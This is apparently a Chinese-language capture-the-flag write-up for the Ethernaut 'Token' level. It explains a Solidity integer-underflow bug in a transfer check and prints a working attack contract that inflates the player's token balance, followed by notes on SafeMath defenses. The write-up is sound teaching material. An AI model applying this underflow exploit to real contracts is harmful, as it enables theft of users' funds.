5. Token
Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0xDc0c34CFE029b190Fc4A6eD5219BF809F04E57A3
要求
这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token,如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好。
这可能有帮助:
什么是 odometer?
分析
1 | // SPDX-License-Identifier: MIT |
我们可以看到 transfer
函数的require 检查代码:
require(balances[msg.sender] - _value >= 0);
由于 balances[msg.sender]
和 _value
都是 uint
类型,balances[msg.sender] - _value
的结果也是 uint
,作为无符号整数永远是大于等于 0 的,导致我们可以任意取款。正确的写法是 require(balances[msg.sender] >= _value)
。
找到入侵点后,接下来再分析数据。
当前token数:
- totalSupply: 21000000
- player: 20
- level: 20999980
题目中提到数量越多越好,balances
的类型是 uint
,最大值为2**256 -1
,因此我们需要将value 变为最大值即可。
解题
首先打开Console,获取当前关卡合约实例地址
instance
;打开 Remix IDE,创建文件
5_Token.sol
,粘贴以下代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
contract HackToken {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim() public {
IToken(levelInstance).transfer(msg.sender, type(uint256).max - 20);
}
}其中
value
的值为type(uint256).max - 20
。在constructor 填入当前关卡合约实例地址后部署。
再调用
claim
函数,完成关卡。
后记
EVM 的整数有 int
和 uint
两种,对应有无符号的情况。在 int
或 uint
后可以跟随一个 8 的倍数,表示该整数的位数,如 8 位的 uint8
。位数上限为 256 位,int
和 uint
分别是 int256
和 uint256
的别名,一般 uint
使用的更多。
在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
1 | if(a + c > a) { |
另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
1 | a = a.add(c); |
如果有溢出,代码会自动恢复。